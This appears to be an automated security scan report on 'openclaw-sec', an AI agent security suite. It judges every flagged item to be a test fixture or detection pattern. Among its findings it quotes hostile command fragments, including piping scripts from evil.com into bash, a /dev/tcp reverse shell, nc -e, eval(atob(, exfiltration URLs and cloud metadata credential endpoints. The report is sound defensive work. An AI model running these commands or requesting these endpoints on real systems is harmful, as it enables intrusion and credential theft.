Scan Report
5 /100
openclaw-sec
AI Agent Security Suite - Real-time protection against prompt injection, command injection, SSRF, path traversal, secrets exposure, and content policy violations
OpenClaw Security Suite 是一个合法的 AI Agent 安全工具,预扫描发现的高危 IOC 均来自测试用例、模式定义或文档示例,不是实际执行的恶意代码。
Safe to install
此技能可安全使用,所有高危 IOC 均已确认为误报(测试数据/示例代码)。
| Resource | Declared | Inferred | Status | Evidence |
|---|---|---|---|---|
| Filesystem | NONE | NONE | — | security-engine.ts 仅读取配置和模式文件,无文件系统修改 |
| Network | NONE | NONE | — | 所有网络操作仅为本地 SQLite 数据库写入,无外部通信 |
| Shell | NONE | NONE | — | 不执行任何 shell 命令,仅对输入进行模式匹配检测 |
| Environment | NONE | NONE | — | 仅读取 HOME 路径用于配置文件定位,未遍历环境变量 |
22 Critical 17 High 122 findings
Critical Dangerous Command 危险 Shell 命令
rm -rf / README.md:86 Critical API Key 硬编码 API 密钥
AKIAIOSFODNN7EXAMPLE src/__tests__/benchmarks/performance-benchmark.test.ts:478 Critical Dangerous Command 危险 Shell 命令
curl http://evil.com/script.sh | bash src/modules/command-validator/__tests__/validator.test.ts:47 Critical Dangerous Command 危险 Shell 命令
wget http://malicious.com/script.sh -O - | bash src/modules/command-validator/__tests__/validator.test.ts:69 Critical Dangerous Command 危险 Shell 命令
curl http://evil.com | bash src/modules/command-validator/__tests__/validator.test.ts:160 Critical Dangerous Command 危险 Shell 命令
bash -i >& src/modules/command-validator/__tests__/validator.test.ts:239 Critical Dangerous Command 危险 Shell 命令
/dev/tcp/ src/modules/command-validator/__tests__/validator.test.ts:239 Critical Dangerous Command 危险 Shell 命令
nc -e src/modules/command-validator/__tests__/validator.test.ts:249 Critical Encoded Execution Base64 编码执行(代码混淆)
eval(atob( src/modules/content-scanner/__tests__/scanner.test.ts:337 Critical API Key 硬编码 API 密钥
xoxb-1111111111111-2222222222222 src/modules/secret-detector/__tests__/detector.test.ts:160 Critical Dangerous Command 危险 Shell 命令
curl http://example.com | bash src/patterns/runtime-validation/command-injection.ts:30 Critical Dangerous Command 危险 Shell 命令
curl http://malicious.com/script.sh | bash src/patterns/runtime-validation/command-injection.ts:47 Critical Dangerous Command 危险 Shell 命令
curl -sL http://evil.com | sh src/patterns/runtime-validation/command-injection.ts:48 Critical Dangerous Command 危险 Shell 命令
wget http://evil.com/script.sh -O - | bash src/patterns/runtime-validation/command-injection.ts:80 Critical Dangerous Command 危险 Shell 命令
wget -qO- http://malicious.com | sh src/patterns/runtime-validation/command-injection.ts:81 Critical Dangerous Command 危险 Shell 命令
nc -l src/patterns/runtime-validation/command-injection.ts:217 Critical API Key 硬编码 API 密钥
sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx src/patterns/secrets/secret-patterns.ts:28 Critical API Key 硬编码 API 密钥
ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx src/patterns/secrets/secret-patterns.ts:43 Critical API Key 硬编码 API 密钥
gho_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx src/patterns/secrets/secret-patterns.ts:44 Critical API Key 硬编码 API 密钥
AIzaSyDxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx src/patterns/secrets/secret-patterns.ts:125 Critical API Key 硬编码 API 密钥
glpat-xxxxxxxxxxxxxxxxxxxx src/patterns/secrets/secret-patterns.ts:381 Critical Dangerous Command 危险 Shell 命令
curl http://evil.com/shell.sh | bash tests/zeroleaks-pentest.ts:142 High IP Address 硬编码 IP 地址
169.254.169.254 README.md:118 High IP Address 硬编码 IP 地址
169.254.0.0 README.md:667 High API Key 疑似硬编码凭证
api_key = "abcdefghijklmnopqrstuvwxyz" src/modules/secret-detector/__tests__/detector.test.ts:343 High API Key 疑似硬编码凭证
apiKey: "super_secret_key_12345678" src/modules/secret-detector/__tests__/detector.test.ts:353 High API Key 疑似硬编码凭证
password = "MySecretPassword123" src/modules/secret-detector/__tests__/detector.test.ts:363 High API Key 疑似硬编码凭证
api_key = "your-api-key-here" src/modules/secret-detector/__tests__/detector.test.ts:411 High IP Address 硬编码 IP 地址
169.254.1.1 src/modules/url-validator/__tests__/validator.test.ts:128 High IP Address 硬编码 IP 地址
8.8.8.8 src/modules/url-validator/__tests__/validator.test.ts:191 High IP Address 硬编码 IP 地址
168.63.129.16 src/modules/url-validator/__tests__/validator.test.ts:319 High IP Address 硬编码 IP 地址
100.100.100.200 src/modules/url-validator/__tests__/validator.test.ts:359 High IP Address 硬编码 IP 地址
172.31.255.255 src/patterns/runtime-validation/ssrf-patterns.ts:31 High IP Address 硬编码 IP 地址
172.20.10.5 src/patterns/runtime-validation/ssrf-patterns.ts:32 High IP Address 硬编码 IP 地址
169.254.255.255 src/patterns/runtime-validation/ssrf-patterns.ts:118 High API Key 疑似硬编码凭证
api_key = "xxxxxxxxxxxxxxxxxxxxxxxx" src/patterns/secrets/secret-patterns.ts:285 High API Key 疑似硬编码凭证
apiKey: "xxxxxxxxxxxxxxxxxxxxxxxx" src/patterns/secrets/secret-patterns.ts:286 High API Key 疑似硬编码凭证
access_token = 'xxxxxxxxxxxxxxxxxxxxxxxx' src/patterns/secrets/secret-patterns.ts:287 High API Key 疑似硬编码凭证
auth-token: "xxxxxxxxxxxxxxxxxxxxxxxx" src/patterns/secrets/secret-patterns.ts:288 Medium External URL 外部 URL
https://hooks.example.com/security .openclaw-sec.example.yaml:68 Medium External URL 外部 URL
https://hooks.slack.com/services/YOUR/WEBHOOK/URL .openclaw-sec.example.yaml:73 Medium External URL 外部 URL
https://discord.com/api/webhooks/YOUR/WEBHOOK/URL .openclaw-sec.example.yaml:78 Medium External URL 外部 URL
https://img.shields.io/badge/License-MIT-yellow.svg README.md:5 Medium External URL 外部 URL
https://opensource.org/licenses/MIT README.md:5 Medium External URL 外部 URL
https://img.shields.io/badge/TypeScript-5.9-blue.svg README.md:6 Medium External URL 外部 URL
https://www.typescriptlang.org/ README.md:6 Medium External URL 外部 URL
http://169.254.169.254/metadata README.md:118 Medium External URL 外部 URL
https://hooks.slack.com/services/... README.md:516 Medium External URL 外部 URL
https://discord.com/api/webhooks/... README.md:519 Medium External URL 外部 URL
http://169.254.169.254/latest/meta-data/ README.md:675 Medium External URL 外部 URL
http://user:pass@internal-db:5432 README.md:678 Medium External URL 外部 URL
https://hooks.slack.com/services/XXX/YYY/ZZZ src/core/__tests__/notification-system.test.ts:246 Medium External URL 外部 URL
https://discord.com/api/webhooks/XXX/YYY src/core/__tests__/notification-system.test.ts:298 Medium External URL 外部 URL
http://evil.com/script.sh src/modules/command-validator/__tests__/validator.test.ts:47 Medium External URL 外部 URL
http://malicious.com/script.sh src/modules/command-validator/__tests__/validator.test.ts:69 Medium External URL 外部 URL
http://evil.com src/modules/command-validator/__tests__/validator.test.ts:81 Medium External URL 外部 URL
http://malicious.com src/modules/command-validator/__tests__/validator.test.ts:92 Medium External URL 外部 URL
https://pastebin.com/raw/abc123 src/modules/exfiltration-detector/__tests__/detector.test.ts:25 Medium External URL 外部 URL
https://hastebin.com/share/xyz src/modules/exfiltration-detector/__tests__/detector.test.ts:35 Medium External URL 外部 URL
https://webhook.site/abc-123-def src/modules/exfiltration-detector/__tests__/detector.test.ts:47 Medium External URL 外部 URL
https://eo1234.pipedream.net src/modules/exfiltration-detector/__tests__/detector.test.ts:57 Medium External URL 外部 URL
https://mytest.beeceptor.com/data src/modules/exfiltration-detector/__tests__/detector.test.ts:67 Medium External URL 外部 URL
https://abc123.ngrok.io/api src/modules/exfiltration-detector/__tests__/detector.test.ts:111 Medium External URL 外部 URL
https://test.ngrok-free.app src/modules/exfiltration-detector/__tests__/detector.test.ts:121 Medium External URL 外部 URL
https://myapp.localtunnel.me src/modules/exfiltration-detector/__tests__/detector.test.ts:131 Medium External URL 外部 URL
https://webhook.site/test-123 src/modules/exfiltration-detector/__tests__/detector.test.ts:175 Medium External URL 外部 URL
https://hooks.slack.com/services/TFAKETEST1/BFAKETEST2/FAKE3EXAMPLE4TESTING56789 src/modules/secret-detector/__tests__/detector.test.ts:181 Medium External URL 外部 URL
http://10.0.0.1/api src/modules/url-validator/__tests__/validator.test.ts:25 Medium External URL 外部 URL
http://172.16.0.1/secret src/modules/url-validator/__tests__/validator.test.ts:36 Medium External URL 外部 URL
http://192.168.1.1/admin src/modules/url-validator/__tests__/validator.test.ts:46 Medium External URL 外部 URL
http://127.0.0.1/admin src/modules/url-validator/__tests__/validator.test.ts:68 Medium External URL 外部 URL
http://0.0.0.0/api src/modules/url-validator/__tests__/validator.test.ts:77 Medium External URL 外部 URL
http://169.254.169.254/metadata/instance src/modules/url-validator/__tests__/validator.test.ts:98 Medium External URL 外部 URL
http://metadata.google.internal/computeMetadata/v1/ src/modules/url-validator/__tests__/validator.test.ts:107 Medium External URL 外部 URL
http://169.254.169.254/computeMetadata/v1/ src/modules/url-validator/__tests__/validator.test.ts:117 Medium External URL 外部 URL
http://169.254.1.1/api src/modules/url-validator/__tests__/validator.test.ts:128 Medium External URL 外部 URL
https://api.example.com/v1/users src/modules/url-validator/__tests__/validator.test.ts:182 Medium External URL 外部 URL
http://8.8.8.8/api src/modules/url-validator/__tests__/validator.test.ts:191 Medium External URL 外部 URL
http://user:[email protected]/api src/modules/url-validator/__tests__/validator.test.ts:250 Medium External URL 外部 URL
http://192.168.1.1:8080/api/endpoint src/modules/url-validator/__tests__/validator.test.ts:285 Medium External URL 外部 URL
http://169.254.169.254/metadata/instance?api-version=2021-02-01 src/modules/url-validator/__tests__/validator.test.ts:309 Medium External URL 外部 URL
http://168.63.129.16/machine?comp=goalstate src/modules/url-validator/__tests__/validator.test.ts:319 Medium External URL 外部 URL
http://169.254.169.254/metadata/v1/hostname src/modules/url-validator/__tests__/validator.test.ts:329 Medium External URL 外部 URL
http://169.254.169.254/opc/v1/instance/ src/modules/url-validator/__tests__/validator.test.ts:339 Medium External URL 外部 URL
http://169.254.169.254/opc/v2/instance/metadata/ src/modules/url-validator/__tests__/validator.test.ts:349 Medium External URL 外部 URL
http://100.100.100.200/latest/meta-data/instance-id src/modules/url-validator/__tests__/validator.test.ts:359 Medium External URL 外部 URL
https://kubernetes.default.svc/api/v1/namespaces src/modules/url-validator/__tests__/validator.test.ts:369 Medium External URL 外部 URL
https://kubernetes.default.svc.cluster.local/api src/modules/url-validator/__tests__/validator.test.ts:379 Medium External URL 外部 URL
http://evil.com/malware.exe src/patterns/runtime-validation/command-injection.ts:182 Medium External URL 外部 URL
https://paste.ee/p/test123 src/patterns/runtime-validation/exfiltration-patterns.ts:47 Medium External URL 外部 URL
https://abc.requestbin.com src/patterns/runtime-validation/exfiltration-patterns.ts:64 Medium External URL 外部 URL
https://test.beeceptor.com src/patterns/runtime-validation/exfiltration-patterns.ts:65 Medium External URL 外部 URL
https://attacker.com/collect?data= src/patterns/runtime-validation/exfiltration-patterns.ts:80 Medium External URL 外部 URL
https://alias.serveo.net src/patterns/runtime-validation/exfiltration-patterns.ts:115 Medium External URL 外部 URL
https://attacker.com/collect src/patterns/runtime-validation/exfiltration-patterns.ts:130 Medium External URL 外部 URL
https://evil.com/exfil src/patterns/runtime-validation/exfiltration-patterns.ts:131 Medium External URL 外部 URL
http://evil.com/xxe src/patterns/runtime-validation/injection-patterns.ts:133 Medium External URL 外部 URL
http://10.255.255.255/admin src/patterns/runtime-validation/ssrf-patterns.ts:14 Medium External URL 外部 URL
http://user:[email protected]/secret src/patterns/runtime-validation/ssrf-patterns.ts:15 Medium External URL 外部 URL
http://172.16.0.1/api src/patterns/runtime-validation/ssrf-patterns.ts:30 Medium External URL 外部 URL
http://172.31.255.255/admin src/patterns/runtime-validation/ssrf-patterns.ts:31 Medium External URL 外部 URL
http://172.20.10.5/internal src/patterns/runtime-validation/ssrf-patterns.ts:32 Medium External URL 外部 URL
http://192.168.1.1/router src/patterns/runtime-validation/ssrf-patterns.ts:47 Medium External URL 外部 URL
http://192.168.0.1/admin src/patterns/runtime-validation/ssrf-patterns.ts:48 Medium External URL 外部 URL
http://192.168.255.255/api src/patterns/runtime-validation/ssrf-patterns.ts:49 Medium External URL 外部 URL
http://0.0.0.0/service src/patterns/runtime-validation/ssrf-patterns.ts:66 Medium External URL 外部 URL
http://127.0.0.2/internal src/patterns/runtime-validation/ssrf-patterns.ts:67 Medium External URL 外部 URL
http://169.254.169.254/latest/meta-data/iam/security-credentials/ src/patterns/runtime-validation/ssrf-patterns.ts:83 Medium External URL 外部 URL
http://169.254.169.254/meta-data/identity-credentials/ec2/security-credentials/ src/patterns/runtime-validation/ssrf-patterns.ts:84 Medium External URL 外部 URL
http://metadata.goog/computeMetadata/v1/instance/service-accounts/ src/patterns/runtime-validation/ssrf-patterns.ts:100 Medium External URL 外部 URL
http://metadata.google.internal/computeMetadata/v1/instance/attributes/ src/patterns/runtime-validation/ssrf-patterns.ts:101 Medium External URL 外部 URL
http://169.254.255.255/service src/patterns/runtime-validation/ssrf-patterns.ts:118 Medium External URL 外部 URL
http://168.63.129.16/ src/patterns/runtime-validation/ssrf-patterns.ts:201 Medium External URL 外部 URL
http://169.254.169.254/metadata/v1/ src/patterns/runtime-validation/ssrf-patterns.ts:217 Medium External URL 外部 URL
http://100.100.100.200/latest/meta-data/ src/patterns/runtime-validation/ssrf-patterns.ts:249 Medium External URL 外部 URL
http://kubernetes.default.svc/ src/patterns/runtime-validation/ssrf-patterns.ts:267 Medium External URL 外部 URL
https://arxiv.org/abs/2502.01577 tests/zeroleaks-pentest.ts:6 Medium External URL 外部 URL
http://evil.com/shell.sh tests/zeroleaks-pentest.ts:142 Medium External URL 外部 URL
https://arxiv.org/abs/2502.01577\n tests/zeroleaks-pentest.ts:203 Info Email 邮箱地址
[email protected] README.md:246 Info Email 邮箱地址
[email protected] README.md:247 Info Email 邮箱地址
[email protected] README.md:248 File Tree
90 files · 767.3 KB · 25322 lines TypeScript 78f · 19024L
YAML 3f · 3786L
Markdown 3f · 2394L
JSON 5f · 96L
JavaScript 1f · 22L
├─
▾
plugins
│ ├─
▾
security-input-validator-plugin
│ │ ├─
index.ts
TypeScript
│ │ ├─
install.ts
TypeScript
│ │ └─
openclaw.plugin.json
JSON
│ └─
▾
security-tool-validator-plugin
│ ├─
index.ts
TypeScript
│ ├─
install.ts
TypeScript
│ └─
openclaw.plugin.json
JSON
├─
▾
src
│ ├─
▾
__tests__
│ │ ├─
▾
benchmarks
│ │ │ └─
performance-benchmark.test.ts
TypeScript
│ │ └─
cli.test.ts
TypeScript
│ ├─
▾
core
│ │ ├─
▾
__tests__
│ │ │ ├─
action-engine.test.ts
TypeScript
│ │ │ ├─
async-queue.test.ts
TypeScript
│ │ │ ├─
config-manager.test.ts
TypeScript
│ │ │ ├─
database-manager.test.ts
TypeScript
│ │ │ ├─
logger.test.ts
TypeScript
│ │ │ ├─
notification-system.test.ts
TypeScript
│ │ │ ├─
security-engine.test.ts
TypeScript
│ │ │ └─
severity-scorer.test.ts
TypeScript
│ │ ├─
action-engine.ts
TypeScript
│ │ ├─
async-queue.ts
TypeScript
│ │ ├─
config-manager.ts
TypeScript
│ │ ├─
database-manager.ts
TypeScript
│ │ ├─
logger.ts
TypeScript
│ │ ├─
notification-system.ts
TypeScript
│ │ ├─
security-engine.ts
TypeScript
│ │ └─
severity-scorer.ts
TypeScript
│ ├─
▾
hooks
│ │ └─
hooks.ts
TypeScript
│ ├─
▾
modules
│ │ ├─
▾
code-execution-detector
│ │ │ ├─
▾
__tests__
│ │ │ │ └─
detector.test.ts
TypeScript
│ │ │ └─
detector.ts
TypeScript
│ │ ├─
▾
command-validator
│ │ │ ├─
▾
__tests__
│ │ │ │ └─
validator.test.ts
TypeScript
│ │ │ └─
validator.ts
TypeScript
│ │ ├─
▾
content-scanner
│ │ │ ├─
▾
__tests__
│ │ │ │ └─
scanner.test.ts
TypeScript
│ │ │ └─
scanner.ts
TypeScript
│ │ ├─
▾
exfiltration-detector
│ │ │ ├─
▾
__tests__
│ │ │ │ └─
detector.test.ts
TypeScript
│ │ │ └─
detector.ts
TypeScript
│ │ ├─
▾
injection-validator
│ │ │ ├─
▾
__tests__
│ │ │ │ └─
validator.test.ts
TypeScript
│ │ │ └─
validator.ts
TypeScript
│ │ ├─
▾
path-validator
│ │ │ ├─
▾
__tests__
│ │ │ │ └─
validator.test.ts
TypeScript
│ │ │ └─
validator.ts
TypeScript
│ │ ├─
▾
prompt-injection
│ │ │ ├─
▾
__tests__
│ │ │ │ └─
detector.test.ts
TypeScript
│ │ │ └─
detector.ts
TypeScript
│ │ ├─
▾
secret-detector
│ │ │ ├─
▾
__tests__
│ │ │ │ └─
detector.test.ts
TypeScript
│ │ │ └─
detector.ts
TypeScript
│ │ ├─
▾
serialization-detector
│ │ │ ├─
▾
__tests__
│ │ │ │ └─
detector.test.ts
TypeScript
│ │ │ └─
detector.ts
TypeScript
│ │ └─
▾
url-validator
│ │ ├─
▾
__tests__
│ │ │ └─
validator.test.ts
TypeScript
│ │ └─
validator.ts
TypeScript
│ ├─
▾
patterns
│ │ ├─
▾
obfuscation
│ │ │ └─
obfuscation-patterns.ts
TypeScript
│ │ ├─
▾
prompt-injection
│ │ │ ├─
cot-hijacking-zh.ts
TypeScript
│ │ │ ├─
cot-hijacking.ts
TypeScript
│ │ │ ├─
direct-extraction-zh.ts
TypeScript
│ │ │ ├─
direct-extraction.ts
TypeScript
│ │ │ ├─
encoding-obfuscation-zh.ts
TypeScript
│ │ │ ├─
encoding-obfuscation.ts
TypeScript
│ │ │ ├─
extraction-attacks-zh.ts
TypeScript
│ │ │ ├─
extraction-attacks.ts
TypeScript
│ │ │ ├─
index.ts
TypeScript
│ │ │ ├─
instruction-override-zh.ts
TypeScript
│ │ │ ├─
instruction-override.ts
TypeScript
│ │ │ ├─
jailbreak-attempts-zh.ts
TypeScript
│ │ │ ├─
jailbreak-attempts.ts
TypeScript
│ │ │ ├─
policy-puppetry-zh.ts
TypeScript
│ │ │ ├─
policy-puppetry.ts
TypeScript
│ │ │ ├─
role-manipulation-zh.ts
TypeScript
│ │ │ ├─
role-manipulation.ts
TypeScript
│ │ │ ├─
social-engineering-zh.ts
TypeScript
│ │ │ ├─
social-engineering.ts
TypeScript
│ │ │ ├─
system-impersonation-zh.ts
TypeScript
│ │ │ └─
system-impersonation.ts
TypeScript
│ │ ├─
▾
runtime-validation
│ │ │ ├─
code-execution-patterns.ts
TypeScript
│ │ │ ├─
command-injection.ts
TypeScript
│ │ │ ├─
exfiltration-patterns.ts
TypeScript
│ │ │ ├─
injection-patterns.ts
TypeScript
│ │ │ ├─
path-traversal-patterns.ts
TypeScript
│ │ │ ├─
serialization-patterns.ts
TypeScript
│ │ │ ├─
sql-injection-patterns.ts
TypeScript
│ │ │ ├─
ssrf-patterns.ts
TypeScript
│ │ │ └─
template-injection-patterns.ts
TypeScript
│ │ └─
▾
secrets
│ │ └─
secret-patterns.ts
⚠
TypeScript
│ ├─
▾
types
│ │ └─
index.ts
TypeScript
│ └─
cli.ts
TypeScript
├─
▾
tests
│ └─
zeroleaks-pentest.ts
TypeScript
├─
_meta.json
JSON
├─
.openclaw-sec.example.yaml
YAML
├─
config.example.yaml
YAML
├─
CONTRIBUTING.md
Markdown
├─
jest.config.js
JavaScript
├─
package.json
JSON
├─
pnpm-lock.yaml
YAML
├─
README.md
Markdown
├─
SKILL.md
Markdown
└─
tsconfig.json
JSON
Dependencies 3 items
| Package | Version | Source | Known Vulns | Notes |
|---|---|---|---|---|
better-sqlite3 | ^12.6.2 | npm | No | 用于本地数据库存储 |
commander | ^14.0.3 | npm | No | CLI 框架 |
yaml | ^2.8.2 | npm | No | 配置文件解析 |
Security Positives
✓ 合法的 AI Agent 安全工具,用于检测提示词注入、命令注入、SSRF 等攻击
✓ 声明的功能与实际代码完全一致,无阴影功能
✓ 所有高危 IOC 已确认均为测试数据/模式定义,非实际恶意代码
✓ 插件仅在钩子中调用安全检测,不执行任何越权操作
✓ 代码结构清晰,模块化设计合理
✓ 使用 TypeScript 编写,有完整的类型定义